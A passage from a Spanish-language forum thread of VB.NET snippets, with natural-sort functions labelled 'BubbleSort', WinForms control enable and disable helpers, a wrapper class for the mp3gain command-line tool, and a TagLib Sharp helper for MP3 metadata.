  70.        '
  71.        ' If Not String.IsNullOrEmpty(sender.text) _
  72.        ' Then My.Settings.User_Character = Convert.ToChar(sender.text)
  73.  
  74.    End Sub
  75.  
  76.    ' TextBox [Leave]
  77.    Private Sub TextBox_Leave(sender As Object, e As EventArgs) ' Handles TextBox1.Leave
  78.  
  79.        ' // If Text is empty then restore the last saved character:
  80.        '
  81.        ' If String.IsNullOrEmpty(sender.text) _
  82.        ' Then sender.text = My.Settings.User_Character
  83.  
  84.    End Sub
  85.  
  86. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Septiembre 2013, 17:10 pm
Listar por el método Burbuja un Array de String o una Lista de String:

Código
  1. #Region " BubbleSort Array "
  2.  
  3.    ' BubbleSort Array
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim MyArray As String() = {"10", "333", "2", "45"}
  8.    ' For Each item In BubbleSort_Array(myarray) : MsgBox(item) : Next ' Result: {"2", "10", "45", "333"}
  9.  
  10.    Private Function BubbleSort_Array(list As String()) As String()
  11.  
  12.        Return list.Select(Function(s) New With { _
  13.            Key .OrgStr = s, _
  14.            Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
  15.                           s, "(\d+)|(\D+)", _
  16.                           Function(m) m.Value.PadLeft(list.Select(Function(y) y.Length).Max, _
  17.                           If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
  18.        }).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToArray
  19.  
  20.    End Function
  21.  
  22. #End Region

Código
  1. #Region " BubbleSort IEnumerable(Of String) "
  2.  
  3.  
  4.    ' BubbleSort IEnumerable(Of String)
  5.    '
  6.    ' Examples :
  7.    '
  8.    ' Dim MyIEnumerable As IEnumerable(Of String) = {"10", "333", "2", "45"}
  9.    ' For Each item In BubbleSort_IEnumerable(MyIEnumerable) : MsgBox(item) : Next ' Result: {"2", "10", "45", "333"}
  10.  
  11.    Private Function BubbleSort_IEnumerable(list As IEnumerable(Of String)) As IEnumerable(Of String)
  12.  
  13.        Return list.Select(Function(s) New With { _
  14.            Key .OrgStr = s, _
  15.            Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
  16.                           s, "(\d+)|(\D+)", _
  17.                           Function(m) m.Value.PadLeft(list.Select(Function(y) y.Length).Max, _
  18.                           If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
  19.        }).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr)
  20.  
  21.    End Function
  22.  
  23. #End Region

Código
  1. #Region " BubbleSort List(Of String) "
  2.  
  3.  
  4.    ' BubbleSort List(Of String)
  5.    '
  6.    ' Examples :
  7.    '
  8.    ' Dim MyList As New List(Of String) From {"10", "333", "2", "45"}
  9.    ' For Each item In BubbleSort_List(MyList) : MsgBox(item) : Next ' Result: {"2", "10", "45", "333"}
  10.  
  11.    Private Function BubbleSort_List(list As List(Of String)) As List(Of String)
  12.  
  13.        Return list.Select(Function(s) New With { _
  14.            Key .OrgStr = s, _
  15.            Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
  16.                           s, "(\d+)|(\D+)", _
  17.                           Function(m) m.Value.PadLeft(list.Select(Function(x) x.Length).Max, _
  18.                           If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
  19.        }).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToList
  20.  
  21.    End Function
  22.  
  23. #End Region





Listar por el  método Burbuja una Lista de DirectoryInfo o de FileInfo especificando la propiedad que se evaluará (por el momento solo funciona con propiedades "TopLevel"):

Código
  1. #Region " BubbleSort List(Of DirectoryInfo) "
  2.  
  3.    ' BubbleSort List(Of DirectoryInfo)
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim Folders As List(Of IO.DirectoryInfo) = IO.Directory.GetDirectories("C:\Windows", "*").Select(Function(p) New IO.DirectoryInfo(p)).ToList()
  8.    '
  9.    ' For Each folder In Bubble_Sort_List_DirectoryInfo(Folders, Function() New IO.DirectoryInfo("").Name)
  10.    '     MsgBox(folder.Name)
  11.    ' Next
  12.  
  13.    Private Shared Function Bubble_Sort_List_DirectoryInfo(list As List(Of IO.DirectoryInfo), _
  14.                                                         exp As Linq.Expressions.Expression(Of Func(Of Object))) _
  15.                                                         As List(Of IO.DirectoryInfo)
  16.  
  17.        Dim member As Linq.Expressions.MemberExpression = _
  18.            If(TypeOf exp.Body Is Linq.Expressions.UnaryExpression, _
  19.               DirectCast(DirectCast(exp.Body, Linq.Expressions.UnaryExpression).Operand, Linq.Expressions.MemberExpression), _
  20.               DirectCast(exp.Body, Linq.Expressions.MemberExpression))
  21.  
  22.        Return list.Select(Function(s) New With { _
  23.        Key .OrgStr = s, _
  24.        Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
  25.                       s.Name, "(\d+)|(\D+)", _
  26.                       Function(m) m.Value.PadLeft( _
  27.                                   list.Select(Function(folder) DirectCast(DirectCast(member.Member, System.Reflection.PropertyInfo) _
  28.                                                                .GetValue(folder, Nothing), Object).ToString.Length).Max(), _
  29.                                                                If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
  30.        }).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToList
  31.  
  32.    End Function
  33.  
  34. #End Region

Código
  1. #Region " BubbleSort List(Of FileInfo) "
  2.  
  3.    ' BubbleSort List(Of FileInfo)
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim Files As List(Of IO.FileInfo) = IO.Directory.GetFiles("C:\Windows", "*").Select(Function(p) New IO.FileInfo(p)).ToList()
  8.    '
  9.    ' For Each file In Bubble_Sort_List_FileInfo(Files, Function() New IO.FileInfo("").Name)
  10.    '     MsgBox(file.Name)
  11.    ' Next
  12.  
  13.    Private Shared Function Bubble_Sort_List_FileInfo(list As List(Of IO.FileInfo), _
  14.                                                         exp As Linq.Expressions.Expression(Of Func(Of Object))) _
  15.                                                         As List(Of IO.FileInfo)
  16.  
  17.        Dim member As Linq.Expressions.MemberExpression = _
  18.            If(TypeOf exp.Body Is Linq.Expressions.UnaryExpression, _
  19.               DirectCast(DirectCast(exp.Body, Linq.Expressions.UnaryExpression).Operand, Linq.Expressions.MemberExpression), _
  20.               DirectCast(exp.Body, Linq.Expressions.MemberExpression))
  21.  
  22.        Return list.Select(Function(s) New With { _
  23.        Key .OrgStr = s, _
  24.        Key .SortStr = System.Text.RegularExpressions.Regex.Replace( _
  25.                       s.Name, "(\d+)|(\D+)", _
  26.                       Function(m) m.Value.PadLeft( _
  27.                                   list.Select(Function(file) DirectCast(DirectCast(member.Member, System.Reflection.PropertyInfo) _
  28.                                                                .GetValue(file, Nothing), Object).ToString.Length).Max(), _
  29.                                                                If(Char.IsDigit(m.Value(0)), " "c, Char.MaxValue))) _
  30.        }).OrderBy(Function(x) x.SortStr).Select(Function(x) x.OrgStr).ToList
  31.  
  32.    End Function
  33.  
  34. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Septiembre 2013, 17:13 pm
Varias maneras de Activar/Desactivar una serie de contorles:

Código
  1. #Region " Disable Controls "
  2.  
  3.    ' [ Disable Controls ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Disable_Controls(Button1)
  10.    ' Disable_Controls({Button1, Button2})
  11.    ' Disable_Controls(Of Button)(GroupBox1, False)
  12.    ' Disable_Controls(Of Button)(GroupBox1.Controls, False)
  13.  
  14.    ' Disable Control(Control)
  15.    Private Sub Disable_Control(ByVal [control] As Control)
  16.        [control].Enabled = If([control].Enabled, False, True)
  17.    End Sub
  18.  
  19.    ' Disable Controls({Control})
  20.    Private Sub Disable_Controls(ByVal Controls() As Control)
  21.        For Each [control] As Control In Controls
  22.            [control].Enabled = If([control].Enabled, False, True)
  23.        Next
  24.    End Sub
  25.  
  26.    ' Disable Controls(Of Type)(Control)
  27.    Public Sub Disable_Controls(Of T As Control)(ByVal Container As Control)
  28.        For Each [control] As T In Container.Controls.OfType(Of T).Where(Function(ctrl) ctrl.Enabled)
  29.            [control].Enabled = False
  30.        Next
  31.    End Sub
  32.  
  33.    ' Disable Controls(Of Type)(ControlCollection)
  34.    Public Sub Disable_Controls(Of T As Control)(ByVal Collection As ControlCollection)
  35.        For Each [control] As T In Collection.OfType(Of T).Where(Function(ctrl) ctrl.Enabled)
  36.            [control].Enabled = False
  37.        Next
  38.    End Sub
  39.  
  40. #End Region

Código
  1. #Region " Enable Controls "
  2.  
  3.    ' [ Enable Controls ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Enable_Control(Button1)
  10.    ' Enable_Controls({Button1, Button2})
  11.    ' Enable_Controls(Of Button)(GroupBox1, False)
  12.    ' Enable_Controls(Of Button)(GroupBox1.Controls, False)
  13.  
  14.    ' Enable Control(Control)
  15.    Private Sub Enable_Control(ByVal [control] As Control)
  16.        [control].Enabled = If(Not [control].Enabled, True, False)
  17.    End Sub
  18.  
  19.    ' Enable Controls({Control})
  20.    Private Sub Enable_Controls(ByVal Controls() As Control)
  21.        For Each [control] As Control In Controls
  22.            [control].Enabled = If(Not [control].Enabled, True, False)
  23.        Next
  24.    End Sub
  25.  
  26.    ' Enable Controls(Of Type)(Control)
  27.    Public Sub Enable_Controls(Of T As Control)(ByVal Container As Control)
  28.        For Each [control] As T In Container.Controls.OfType(Of T).Where(Function(ctrl) Not ctrl.Enabled)
  29.            [control].Enabled = True
  30.        Next
  31.    End Sub
  32.  
  33.    ' Enable Controls(Of Type)(ControlCollection)
  34.    Public Sub Enable_Controls(Of T As Control)(ByVal Collection As ControlCollection)
  35.        For Each [control] As T In Collection.OfType(Of T).Where(Function(ctrl) Not ctrl.Enabled)
  36.            [control].Enabled = True
  37.        Next
  38.    End Sub
  39.  
  40. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Octubre 2013, 10:43 am
Una Class para manejar la aplicación mp3gain.

Sirve para aplicar una ganancia NO destructiva a archivos MP3.

http://mp3gain.sourceforge.net/

EDITO: Código mejorado.
Código
  1. #Region " mp3gain Helper "
  2.  
  3.  
  4.  
  5. ' [ mp3gain Helper ]
  6. '
  7. ' // By Elektro H@cker
  8. '
  9. '
  10. ' Instructions:
  11. '
  12. ' 1. Add the "mp3gain.exe" into the project.
  13. '
  14. '
  15. ' Examples :
  16. '
  17. ' MsgBox(mp3gain.Is_Avaliable) ' Checks if mp3gain executable is avaliable.
  18. '
  19. ' MsgBox(mp3gain.File_Has_MP3Gain_Tag("File.mp3")) ' Checks if file contains mp3gain APE tag
  20. '
  21. ' mp3gain.Set_Gain("File.mp3", 95) ' Set the db Gain of file to 95 db (In a scale of "0/100" db)
  22. ' mp3gain.Set_Gain("File.mp3", 95, True) ' Set the db Gain of file to -95 db and preserve the datetime of file.
  23. '
  24. ' mp3gain.Apply_Gain("File.mp3", +5) ' Apply a change of +5 db in the curent gain of file.
  25. ' mp3gain.Apply_Gain("File.mp3", -5) ' Apply a change of -5 db in the curent gain of file.
  26. '
  27. ' mp3gain.Apply_Channel_Gain("File.mp3", mp3gain.Channels.Left, +10) ' Apply a change of +10 db in the curent Left channel gain of file.
  28. ' mp3gain.Apply_Channel_Gain("File.mp3", mp3gain.Channels.Right, -10) ' Apply a change of -10 db in the curent Right channel gain of file.
  29. '
  30. ' mp3gain.Undo_Gain("File.mp3") ' Undo all MP3Gain db changes made in file.
  31. '
  32. '
  33. ' ------
  34. ' EVENTS
  35. ' ------
  36. ' Public WithEvents mp3gain As New mp3gain
  37. '
  38. ' Sub mp3gain_Progress(Progress As Integer, e As EventArgs) Handles mp3gain.PercentDone
  39. '     ProgressBar1.Maximum = 100
  40. '     ProgressBar1.Value = Progress
  41. ' End Sub
  42. '
  43. ' Sub mp3gain_Exited(Message As String, e As EventArgs) Handles mp3gain.Exited
  44. '     ProgressBar1.Value = 0
  45. '     MessageBox.Show(Message)
  46. ' End Sub
  47.  
  48.  
  49.  
  50. Public Class mp3gain
  51.  
  52. #Region " CommandLine parametter legend "
  53.  
  54.    ' MP3Gain Parametter Legend:
  55.    '
  56.    ' /c   - Ignore clipping warning when applying gain.
  57.    ' /d   - Set global gain.
  58.    ' /e   - Skip Album analysis, even if multiple files listed.
  59.    ' /g   - apply gain
  60.    ' /p   - Preserve original file timestamp.
  61.    ' /r   - apply Track gain automatically (all files set to equal loudness)
  62.    ' /t   - Writes modified data to temp file, then deletes original instead of modifying bytes in original file.
  63.    ' /u   - Undo changes made (based on stored tag info).
  64.    ' /s c - Check stored tag info.
  65.  
  66. #End Region
  67.  
  68. #Region " Variables "
  69.  
  70.    ' <summary>
  71.    ' Gets or sets the mp3gain.exe executable path.
  72.    ' </summary>
  73.    Public Shared mp3gain_Location As String = "c:\mp3gain.exe"
  74.  
  75.    ' Stores the MP3Gain process ErrorOutput.
  76.    Private Shared ErrorOutput As String = String.Empty
  77.  
  78.    ' Stores the MP3Gain process StandardOutput.
  79.    Private Shared StandardOutput As String = String.Empty ' Is not needed
  80.  
  81.    ' Sets a Flag to know if file has MP3Gain APE tag.
  82.    Private Shared HasTag As Boolean = False
  83.  
  84. #End Region
  85.  
  86. #Region " Enumerations "
  87.  
  88.    Enum Channels As Short
  89.        Left = 0  ' /l 0
  90.        Right = 1 ' /l 1
  91.    End Enum
  92.  
  93. #End Region
  94.  
  95. #Region " Events "
  96.  
  97.    ' <summary>
  98.    ' Event raised when process progress changes.
  99.    ' </summary>
  100.    Public Shared Event PercentDone As EventHandler(Of PercentDoneEventArgs)
  101.    Public Class PercentDoneEventArgs : Inherits EventArgs
  102.        Public Property Progress As Integer
  103.    End Class
  104.  
  105.    ' <summary>
  106.    ' Event raised when MP3Gain process has exited.
  107.    ' </summary>
  108.    Public Shared Event Exited As EventHandler(Of ExitedEventArgs)
  109.    Public Class ExitedEventArgs : Inherits EventArgs
  110.        Public Property Message As String
  111.    End Class
  112.  
  113. #End Region
  114.  
  115. #Region " Processes Info "
  116.  
  117.    Private Shared Process_TagCheck As New Process() With { _
  118.    .StartInfo = New ProcessStartInfo With { _
  119.                .CreateNoWindow = True, _
  120.                .UseShellExecute = False, _
  121.                .RedirectStandardError = False, _
  122.                .RedirectStandardOutput = True _
  123.    }}
  124.  
  125.    Private Shared Process_For_Tag As New Process() With { _
  126.    .StartInfo = New ProcessStartInfo With { _
  127.                .CreateNoWindow = True, _
  128.                .UseShellExecute = False, _
  129.                .RedirectStandardError = False, _
  130.                .RedirectStandardOutput = True _
  131.    }}
  132.  
  133.    Private Shared Process_For_NonTag As New Process() With { _
  134.    .StartInfo = New ProcessStartInfo With { _
  135.                .CreateNoWindow = True, _
  136.                .UseShellExecute = False, _
  137.                .RedirectStandardError = True, _
  138.                .RedirectStandardOutput = True _
  139.    }}
  140.  
  141. #End Region
  142.  
  143. #Region " Miscellaneous functions "
  144.  
  145.    ' <summary>
  146.    ' Checks if mp3gain.exe process is avaliable.
  147.    ' </summary>
  148.    Public Shared Function Is_Avaliable() As Boolean
  149.        Return IO.File.Exists(mp3gain_Location)
  150.    End Function
  151.  
  152.    ' Checks if a file exist.
  153.    Private Shared Sub CheckFileExists(ByVal File As String)
  154.  
  155.        If Not IO.File.Exists(File) Then
  156.            ' Throw New Exception("File doesn't exist: " & File)
  157.            MessageBox.Show("File doesn't exist: " & File, "MP3Gain", MessageBoxButtons.OK, MessageBoxIcon.Error)
  158.        End If
  159.  
  160.    End Sub
  161.  
  162. #End Region
  163.  
  164. #Region " Gain Procedures "
  165.  
  166.    ' <summary>
  167.    ' Checks if mp3gain APE tag exists in file.
  168.    ' </summary>
  169.    Public Shared Function File_Has_MP3Gain_Tag(ByVal MP3_File As String) As Boolean
  170.  
  171.        CheckFileExists(MP3_File)
  172.  
  173.        Process_TagCheck.StartInfo.FileName = mp3gain_Location
  174.        Process_TagCheck.StartInfo.Arguments = String.Format("/s c ""{0}""", MP3_File)
  175.        Process_TagCheck.Start()
  176.        Process_TagCheck.WaitForExit()
  177.  
  178.        Return Process_TagCheck.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).Count - 1
  179.  
  180.        ' Process_TagCheck.Close()
  181.  
  182.    End Function
  183.  
  184.    ' <summary>
  185.    ' Set global db Gain in file.
  186.    ' </summary>
  187.    Public Shared Sub Set_Gain(ByVal MP3_File As String, _
  188.                               ByVal Gain As Integer, _
  189.                               Optional ByVal Preserve_Datestamp As Boolean = True)
  190.  
  191.        Run_MP3Gain(MP3_File, String.Format("/c /e /r /t {1} /d {2} ""{0}""", _
  192.                                            MP3_File, _
  193.                                            If(Preserve_Datestamp, "/p", ""), _
  194.                                            If(Gain < 0, Gain + 89.0, Gain - 89.0)))
  195.  
  196.    End Sub
  197.  
  198.    ' <summary>
  199.    ' Apply db Gain change in file.
  200.    ' </summary>
  201.    Public Shared Sub Apply_Gain(ByVal MP3_File As String, _
  202.                                 ByVal Gain As Integer, _
  203.                                 Optional ByVal Preserve_Datestamp As Boolean = True)
  204.  
  205.        Run_MP3Gain(MP3_File, String.Format("/c /e /r /t {1} /g {2} ""{0}""", _
  206.                                            MP3_File, _
  207.                                            If(Preserve_Datestamp, "/p", ""), _
  208.                                            Gain))
  209.  
  210.    End Sub
  211.  
  212.    ' <summary>
  213.    ' Apply db Gain change of desired channel in file.
  214.    ' Only works for Stereo MP3 files.
  215.    ' </summary>
  216.    Public Shared Sub Apply_Channel_Gain(ByVal MP3_File As String, _
  217.                                         ByVal Channel As Channels, _
  218.                                         ByVal Gain As Integer, _
  219.                                         Optional ByVal Preserve_Datestamp As Boolean = True)
  220.  
  221.        Run_MP3Gain(MP3_File, String.Format("/c /e /r /l {2} {3} ""{0}""", _
  222.                                            MP3_File, _
  223.                                            If(Preserve_Datestamp, "/p", ""), _
  224.                                            If(Channel = Channels.Left, 0, 1), _
  225.                                            Gain))
  226.  
  227.    End Sub
  228.  
  229.    ' <summary>
  230.    ' Undo all MP3Gain db changes made in file (based on stored tag info).
  231.    ' </summary>
  232.    Public Shared Sub Undo_Gain(ByVal MP3_File As String, _
  233.                                Optional ByVal Preserve_Datestamp As Boolean = True)
  234.  
  235.        Run_MP3Gain(MP3_File, String.Format("/c /t {1} /u ""{0}""", _
  236.                                            MP3_File, _
  237.                                            If(Preserve_Datestamp, "/p", "")))
  238.  
  239.    End Sub
  240.  
  241. #End Region
  242.  
  243. #Region " Run MP3Gain Procedures "
  244.  
  245.    Private Shared Sub Run_MP3Gain(ByVal MP3_File As String, ByVal Parametters As String)
  246.  
  247.        CheckFileExists(MP3_File)
  248.  
  249.        HasTag = File_Has_MP3Gain_Tag(MP3_File)
  250.  
  251.        Process_For_Tag.StartInfo.FileName = mp3gain_Location
  252.        Process_For_Tag.StartInfo.Arguments = Parametters
  253.  
  254.        Process_For_NonTag.StartInfo.FileName = mp3gain_Location
  255.        Process_For_NonTag.StartInfo.Arguments = Parametters
  256.  
  257.        If HasTag Then
  258.            Run_MP3Gain_For_Tag()
  259.        Else
  260.            Run_MP3Gain_For_NonTag()
  261.        End If
  262.  
  263.    End Sub
  264.  
  265.    Private Shared Sub Run_MP3Gain_For_Tag()
  266.  
  267.        Process_For_Tag.Start()
  268.        Process_For_Tag.WaitForExit()
  269.  
  270.        RaiseEvent Exited(Process_For_Tag.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).LastOrDefault, Nothing)
  271.  
  272.        StandardOutput = Nothing
  273.        ' Process_For_Tag.Close()
  274.  
  275.    End Sub
  276.  
  277.    Private Shared Sub Run_MP3Gain_For_NonTag()
  278.  
  279.        Process_For_NonTag.Start()
  280.  
  281.        While Not Process_For_NonTag.HasExited
  282.  
  283.            Try
  284.  
  285.                ErrorOutput = Process_For_NonTag.StandardError.ReadLine.Trim.Split("%").First
  286.                If CInt(ErrorOutput) < 101 Then
  287.                    RaiseEvent PercentDone(ErrorOutput, Nothing)
  288.                End If
  289.  
  290.            Catch : End Try
  291.  
  292.        End While
  293.  
  294.        StandardOutput = Process_For_NonTag.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).Last
  295.  
  296.        RaiseEvent Exited(StandardOutput, Nothing)
  297.  
  298.        ErrorOutput = Nothing
  299.        StandardOutput = Nothing
  300.        ' Process_For_Tag.Close()
  301.  
  302.    End Sub
  303.  
  304. #End Region
  305.  
  306. End Class
  307.  
  308. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Octubre 2013, 22:23 pm
Un ayudante para manejar la librería TabLig Sharp: https://github.com/mono/taglib-sharp

La librería sirve para editar los metadatos de archivos de música, entre otros formatos como imágenes png, etc...

Mi Class está pensada para usarse con archivos MP3.

Código
  1. #Region " TagLib Sharp Helper "
  2.  
  3.  
  4. ' [ TagLib Sharp Helper ]
  5. '
  6. ' // By Elektro H@cker
  7. '
  8. '
  9. ' Instructions:
  10. ' 1. Add a reference to "taglib-sharp.dll" into the project.
  11. '
  12. '
  13. ' Examples:
  14. '
  15. ' MsgBox(TagLibSharp.FileIsCorrupt("C:\File.mp3")) ' Result: True or False
  16. ' MsgBox(TagLibSharp.FileIsWriteable("C:\File.mp3")) ' Result: True or False
  17. ' MsgBox(TagLibSharp.Get_Title("C:\File.mp3"))
  18. ' MsgBox(TagLibSharp.Get_Artist("C:\File.mp3"))
  19. ' MsgBox(TagLibSharp.Get_Album("C:\File.mp3"))
  20. ' MsgBox(TagLibSharp.Get_Genre("C:\File.mp3"))
  21. ' MsgBox(TagLibSharp.Get_Year("C:\File.mp3"))
  22. ' MsgBox(TagLibSharp.Get_Basic_TagInfo("C:\File.mp3"))
  23. ' TagLibSharp.RemoveTag("C:\File.mp3", TagLib.TagTypes.Id3v1 Or TagLib.TagTypes.Id3v2) ' Removes ID3v1 + ID3v2 Tags
  24. ' TagLibSharp.Set_Tag_Fields("C:\Test.mp3", Sub(x) x.Tag.Title = "Title Test"})
  25. ' TagLibSharp.Set_Tag_Fields("C:\Test.mp3", {Sub(x) x.Tag.Title = "Title Test", Sub(x) x.Tag.Performers = {"Artist Test"}})
  26.  
  27.  
  28. Public Class TagLibSharp
  29.  
  30.    ''' <summary>
  31.    ''' Stores the Taglib object.
  32.    ''' </summary>
  33.    Private Shared TagFile As TagLib.File = Nothing
  34.  
  35.    ''' <summary>
  36.    ''' Checks if file is possibly corrupted.
  37.    ''' </summary>
  38.    Public Shared Function FileIsCorrupt(ByVal File As String) As Boolean
  39.  
  40.        Try
  41.            Return TagLib.File.Create(File).PossiblyCorrupt
  42.  
  43.        Catch ex As Exception
  44.            Throw New Exception(ex.Message)
  45.            Return True
  46.  
  47.        Finally
  48.            If TagFile IsNot Nothing Then TagFile.Dispose()
  49.  
  50.        End Try
  51.  
  52.    End Function
  53.  
  54. ''' <summary>
  55. ''' Checks if file can be written.
  56. ''' </summary>
  57. Public Shared Function FileIsWriteable(ByVal File As String) As Boolean
  58.  
  59.    Try
  60.        Return TagLib.File.Create(File).Writeable
  61.  
  62.    Catch ex As Exception
  63.        Throw New Exception(ex.Message)
  64.        Return True
  65.  
  66.    Finally
  67.        If TagFile IsNot Nothing Then TagFile.Dispose()
  68.  
  69.    End Try
  70.  
  71. End Function
  72.  
  73. ''' <summary>
  74. ''' Get TagTypes of file.
  75. ''' </summary>
  76. Public Shared Function Get_Tags(ByVal File As String) As String
  77.  
  78.    Try
  79.        Return TagLib.File.Create(File).TagTypes.ToString
  80.  
  81.    Catch ex As Exception
  82.        Throw New Exception(ex.Message)
  83.        Return String.Empty
  84.  
  85.    Finally
  86.        If TagFile IsNot Nothing Then TagFile.Dispose()
  87.  
  88.    End Try
  89.  
  90. End Function
  91.  
  92. ''' <summary>
  93. ''' Remove a entire Tag from file.
  94. ''' </summary>
  95. Public Shared Sub RemoveTag(ByVal File As String, ByVal TagTypes As TagLib.TagTypes)
  96.  
  97.    Try
  98.        TagFile = TagLib.File.Create(File)
  99.    Catch ex As Exception
  100.        Throw New Exception(ex.Message)
  101.        Exit Sub
  102.    End Try
  103.  
  104.    Try
  105.  
  106.        If Not TagFile.PossiblyCorrupt _
  107.        AndAlso TagFile.Writeable Then
  108.  
  109.            TagFile.RemoveTags(TagTypes)
  110.            TagFile.Save()
  111.  
  112.        End If
  113.  
  114.    Catch ex As Exception
  115.        Throw New Exception(ex.Message)
  116.  
  117.    Finally
  118.        If TagFile IsNot Nothing Then TagFile.Dispose()
  119.  
  120.    End Try
  121.  
  122. End Sub
  123.  
  124. ''' <summary>
  125. ''' Gets the Title tag field of file.
  126. ''' </summary>
  127. Public Shared Function Get_Title(ByVal File As String) As String
  128.  
  129.    Try
  130.        Return TagLib.File.Create(File).Tag.Title
  131.  
  132.    Catch ex As Exception
  133.        Throw New Exception(ex.Message)
  134.        Return String.Empty
  135.  
  136.    Finally
  137.        If TagFile IsNot Nothing Then TagFile.Dispose()
  138.  
  139.    End Try
  140.  
  141. End Function
  142.  
  143. ''' <summary>
  144. ''' Gets the Artist tag field of file.
  145. ''' </summary>
  146. Public Shared Function Get_Artist(ByVal File As String) As String
  147.  
  148.    Try
  149.        Return TagLib.File.Create(File).Tag.Performers(0)
  150.  
  151.    Catch ex As Exception
  152.        Throw New Exception(ex.Message)
  153.        Return String.Empty
  154.  
  155.    Finally
  156.        If TagFile IsNot Nothing Then TagFile.Dispose()
  157.  
  158.    End Try
  159.  
  160. End Function
  161.  
  162. ''' <summary>
  163. ''' Gets the Album tag field of file.
  164. ''' </summary>
  165. Public Shared Function Get_Album(ByVal File As String) As String
  166.  
  167.    Try
  168.        Return TagLib.File.Create(File).Tag.Album
  169.  
  170.    Catch ex As Exception
  171.        Throw New Exception(ex.Message)
  172.        Return String.Empty
  173.  
  174.    Finally
  175.        If TagFile IsNot Nothing Then TagFile.Dispose()
  176.  
  177.    End Try
  178.  
  179. End Function
  180.  
  181. ''' <summary>
  182. ''' Gets the Genre tag field of file.
  183. ''' </summary>
  184. Public Shared Function Get_Genre(ByVal File As String) As String
  185.  
  186.    Try
  187.        Return TagLib.File.Create(File).Tag.Genres(0)
  188.  
  189.    Catch ex As Exception
  190.        Throw New Exception(ex.Message)
  191.        Return String.Empty
  192.  
  193.    Finally
  194.        If TagFile IsNot Nothing Then TagFile.Dispose()
  195.  
  196.    End Try
  197.  
  198. End Function
  199.  
  200. ''' <summary>
  201. ''' Gets the Year tag field of file.
  202. ''' </summary>
  203. Public Shared Function Get_Year(ByVal File As String) As String
  204.  
  205.    Try
  206.        Return TagLib.File.Create(File).Tag.Year
  207.  
  208.    Catch ex As Exception
  209.        Throw New Exception(ex.Message)
  210.        Return String.Empty
  211.  
  212.    Finally
  213.        If TagFile IsNot Nothing Then TagFile.Dispose()
  214.  
  215.    End Try
  216.  
  217. End Function
  218.  
  219. ''' <summary>
  220. ''' Gets the basic tag fields of file.
  221. ''' </summary>
  222. Public Shared Function Get_Basic_TagInfo(ByVal File As String) As String
  223.  
  224.    Try
  225.        TagFile = TagLib.File.Create(File)
  226.  
  227.        Return String.Format("Title: {1}{0}Artist: {2}{0}Album: {3}{0}Genre: {4}{0}Year: {5}", Environment.NewLine, _
  228.                             TagFile.Tag.Title, _
  229.                             TagFile.Tag.Performers(0), _
  230.                             TagFile.Tag.Album, _
  231.                             TagFile.Tag.Genres(0), _
  232.                             TagFile.Tag.Year)
  233.  
  234.    Catch ex As Exception
  235.        Throw New Exception(ex.Message)
  236.        Return String.Empty
  237.  
  238.    Finally
  239.        If TagFile IsNot Nothing Then TagFile.Dispose()
  240.  
  241.    End Try
  242.  
  243. End Function
  244.  
  245. ''' <summary>
  246. ''' Sets a Tag field.
  247. ''' </summary>
  248. Public Shared Sub Set_Tag_Fields(ByVal File As String, _
  249.                                   ByVal FieldSetter As Action(Of TagLib.File))
  250.  
  251.    Try
  252.        TagFile = TagLib.File.Create(File)
  253.    Catch ex As Exception
  254.        Throw New Exception(ex.Message)
  255.        Exit Sub
  256.    End Try
  257.  
  258.    Try
  259.  
  260.        If Not TagFile.PossiblyCorrupt _
  261.        AndAlso TagFile.Writeable Then
  262.  
  263.            FieldSetter(TagFile)
  264.            TagFile.Save()
  265.  
  266.        End If
  267.  
  268.    Catch ex As Exception
  269.        Throw New Exception(ex.Message)
  270.  
  271.    Finally
  272.        If TagFile IsNot Nothing Then TagFile.Dispose()
  273.  
  274.    End Try
  275.  
  276. End Sub
  277.  
  278. ''' <summary>
  279. ''' Sets multiple Tag fields.
  280. ''' </summary>
  281. Public Shared Sub Set_Tag_Fields(ByVal File As String, _
  282.                                   ByVal FieldSetter() As Action(Of TagLib.File))
  283.  
  284.    Try
  285.        TagFile = TagLib.File.Create(File)
  286.    Catch ex As Exception
  287.        Throw New Exception(ex.Message)
  288.        Exit Sub
  289.    End Try
  290.  
  291.    Try
  292.  
  293.        If Not TagFile.PossiblyCorrupt _
  294.        AndAlso TagFile.Writeable Then
  295.  
  296.            For Each Field In FieldSetter
  297.                Field(TagFile)
  298.            Next
  299.  
  300.            TagFile.Save()
  301.  
  302.        End If
  303.  
  304.    Catch ex As Exception
  305.        Throw New Exception(ex.Message)
  306.  
  307.    Finally
  308.        If TagFile IsNot Nothing Then TagFile.Dispose()
  309.  
  310.    End Try
  311.  
  312. End Sub
  313.  
  314. End Class
  315.  
  316. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Octubre 2013, 23:53 pm
Un ayudante de la librería UltraId3Lib: http://home.fuse.net/honnert/UltraID3Lib/UltraID3Lib0968.zip

La diferencia entre esta librería y TagLib Sharp es que UltraID3Lib trabaja sólamente metadatos de tipo ID3v1 e ID3v2 (y las variantes de ID3v2, y los Covers)

